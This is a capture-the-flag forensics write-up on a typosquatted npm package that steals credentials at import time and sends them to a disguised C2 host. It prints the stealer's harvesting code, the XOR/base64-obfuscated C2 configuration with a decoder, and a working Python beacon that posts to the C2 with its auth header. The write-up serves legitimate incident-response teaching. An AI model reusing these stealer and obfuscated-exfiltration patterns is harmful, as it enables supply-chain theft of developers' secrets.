[ writeup · case #031 ]
Jean Valjean
DFIR from a single Chrome History SQLite database. An intern wired a typosquatted npm package — a credential stealer — into a production SaaS that exfiltrates to a Cloudflare-fronted C2. Decode the obfuscated C2 config, sidestep the deliberately mis-spelled decoy endpoint, and hit the real flag-serving route.
Challenge: "...find the C2 server in question and get the flag." — Author: Taha (Securinets ENIT)
Evidence: a single Chrome History SQLite database (History (2))
Flag: SecurinetsENIT{5a005bab5fed4fc5bf3e56259ed0e284}
TL;DR
An intern wired a typosquatted npm package (metrex → github.com/john-milner/meterex) into a
production SaaS. The package is a credential/secret stealer that exfiltrates to a Cloudflare-fronted
C2, webhook-relay.cloud. The package obfuscates its C2 config in queue.js — and the decoded
exfil path is deliberately mis-spelled (/api/v2/telemstry/ingest) as a trap. The real,
flag-serving endpoint is the correctly-spelled route; everything else on the host 302-redirects to
npmjs.com as camouflage.
POST https://webhook-relay.cloud/api/v2/telemetry/ingest
X-Analytics-Signature: telemetry_2026_report_ac03
Content-Type: application/json
{"v":2,"sid":"…","seq":…,"type":"telemetry.report","src":"dashboard","payload":"<gzip+base64>"}
→ 200 { … SecurinetsENIT{5a005bab5fed4fc5bf3e56259ed0e284} … }1. Triaging the history
The DB has no sqlite3 CLI dependency — read it with Python's stdlib:
import sqlite3, datetime
db = sqlite3.connect("History.db")
def t(x): return (datetime.datetime(1601,1,1)+datetime.timedelta(microseconds=x)) if x else None
for vt,u in db.execute(
"SELECT v.visit_time,u.url FROM visits v JOIN urls u ON v.url=u.id ORDER BY v.visit_time"):
print(t(vt), u)Filtering out the Google/GitHub/Node noise, the intern's trail tells a clear story:
| When | Signal |
|---|---|
| searches | metrex, metrix github, metrix npm, npm pakcage releases — hunting a metrics middleware |
github.com/john-milner/meterex/tree/main/src/routes | lands on a repo whose npm name is metrex |
socket.dev/npm/package/@metrix/metrix-user-database | checks a package on the supply-chain scanner (decoy — a real Kazakh package) |
webhook-relay.cloud (title shows "npm | Home") | the C2, disguised as npm |
GCP console, project rotato-paper | VMs literally named c2-webhook-relay, rt-c2-usw1-01 |
localhost:7443 (title "Mythic", /new/callbacks) | a Mythic C2 operator console |
The GCP VM c2-webhook-relay and the host webhook-relay.cloud name the C2 outright.
2. What went wrong — the malicious dependency
github.com/john-milner/meterex ships package.json with "name": "metrex" (a typosquat of a real
metrics library) at a high version 2.5.0 so npm install metrex resolves to it. The backdoor was
added in commit 680fd4d8 "Add telemetry collection layer" (src/lib/{queue,transport,utils}.js).
src/lib/utils.js runs on import and harvests secrets:
reportMetrics(); // executes at require() time
// collects: AWS_ACCESS_KEY_ID / _SECRET_ACCESS_KEY / _SESSION_TOKEN,
// NPM_TOKEN, GITHUB_TOKEN, CI_JOB_TOKEN,
// ~/.config/gh/hosts.yml, ~/.docker/config.json, ~/.kube/config, ~/.aws/credentials
queue.enqueue(metrics);So the moment the SaaS build imported metrex, its CI/host credentials left the building —
"our whole data was sent to the Chinese."
3. Decoding the C2 config (src/lib/queue.js)
Three layers of obfuscation hide the destination:
const K0 = 0x5a, K1 = 0x17, K2 = 0xa3;
function rot(buf){ return Buffer.from(buf.map((b,i)=> b ^ [K0,K1,K2][i%3])); }
fragmentA = base64("LXLBMnjMMTo=") // XOR-cycled → "webhook-rel"
fragmentB = base64("KHLPO26NOXvML3M=") // → "ay.cloud"
decodeHost() → "webhook-relay.cloud"
TOKEN_A="74656c656d657472795f323032", TOKEN_B="365f7265706f72745f61633033"
decodeToken() → hex → "telemetry_2026_report_ac03"
PATH_REVERSED = "tsegni/yrtsmelet/2v/ipa/"
endpoint() → reverse → "/api/v2/telemstry/ingest" ← note the TYPODecoder:
import base64
K=[0x5a,0x17,0xa3]; rot=lambda b: bytes(b[i]^K[i%3] for i in range(len(b)))
host = (rot(base64.b64decode("LXLBMnjMMTo=")) + rot(base64.b64decode("KHLPO26NOXvML3M="))).decode()
token = bytes.fromhex("74656c656d657472795f323032"+"365f7265706f72745f61633033").decode()
path = "tsegni/yrtsmelet/2v/ipa/"[::-1]
# host=webhook-relay.cloud token=telemetry_2026_report_ac03 path=/api/v2/telemstry/ingestsrc/lib/transport.js chooses which header carries the token: sum(len(h)) % 6 over an
insertion-ordered set of six header names → index 5 → X-Analytics-Signature. The body is a
JSON envelope whose payload is base64(gzip(JSON)); the Content-Encoding: gzip header is a lie.
4. The trap — and getting the flag
Hitting the decoded path does nothing useful:
GET/POST https://webhook-relay.cloud/api/v2/telemstry/ingest → 302 Location: https://www.npmjs.com/
GET https://webhook-relay.cloud/<anything> → 302 Location: https://www.npmjs.com/Every route catch-all redirects to npm — classic C2 camouflage, and the reason a lazy replay "sees
nothing." The mis-spelled telemstry is bait. Fixing the spelling to telemetry and sending a
properly-signed beacon flips it to a 200:
import gzip, json, base64, time, secrets, http.client, ssl
inner = {"body": {"ping": 1}, "meta": {"env": "production"}}
payload = base64.b64encode(gzip.compress(json.dumps(inner).encode())).decode()
env = {"v":2,"sid":secrets.token_hex(16),"seq":int(time.time()*1000),
"type":"telemetry.report","src":"dashboard","payload":payload}
c = http.client.HTTPSConnection("webhook-relay.cloud", 443, context=ssl.create_default_context())
c.request("POST", "/api/v2/telemetry/ingest", json.dumps(env),
{"Content-Type":"application/json",
"X-Analytics-Signature":"telemetry_2026_report_ac03",
"User-Agent":"telemetry-utils/2.4.1 (node; +https://npmjs.com/package/telemetry-utils)"})
print(c.getresponse().read().decode())200 OK
… SecurinetsENIT{5a005bab5fed4fc5bf3e56259ed0e284} …Flag
SecurinetsENIT{5a005bab5fed4fc5bf3e56259ed0e284}(server-side value; it can rotate — re-run the beacon if it's rejected.)
Lessons / gotchas
- A decoded value that looks like a typo probably is one — on purpose. Try the corrected spelling before concluding an endpoint is dead.
- Uniform
302 → real siteon every path = camouflage redirector, not a down host. Fuzz adjacent/corrected routes with the recovered auth header. - The same browser history is salted with decoys from sibling challenges (the
0X_*reversing-flag files in Downloads,@metrix/metrix-user-databaseon socket.dev,cdnjs-mirror.net,gh-actions-runner.xyz,kedux.enit.tn,enitt.online). None of them is this flag. - An
npmpackage that calls its exfil function at import time needs nopostinstallhook — just being independenciesand gettingrequire()d is enough.
IOCs
| Type | Value |
|---|---|
| Malicious package | metrex / github.com/john-milner/meterex (backdoor commit 680fd4d8) |
| C2 | webhook-relay.cloud (GCP VM c2-webhook-relay, project rotato-paper, us-central1-a) |
| Exfil endpoint | POST /api/v2/telemetry/ingest |
| Auth header | X-Analytics-Signature: telemetry_2026_report_ac03 |
| XOR key | [0x5a, 0x17, 0xa3] (cycled by i % 3) |
| Stolen | AWS keys, NPM_TOKEN, GITHUB_TOKEN, CI_JOB_TOKEN, ~/.aws, ~/.config/gh, ~/.kube, ~/.docker |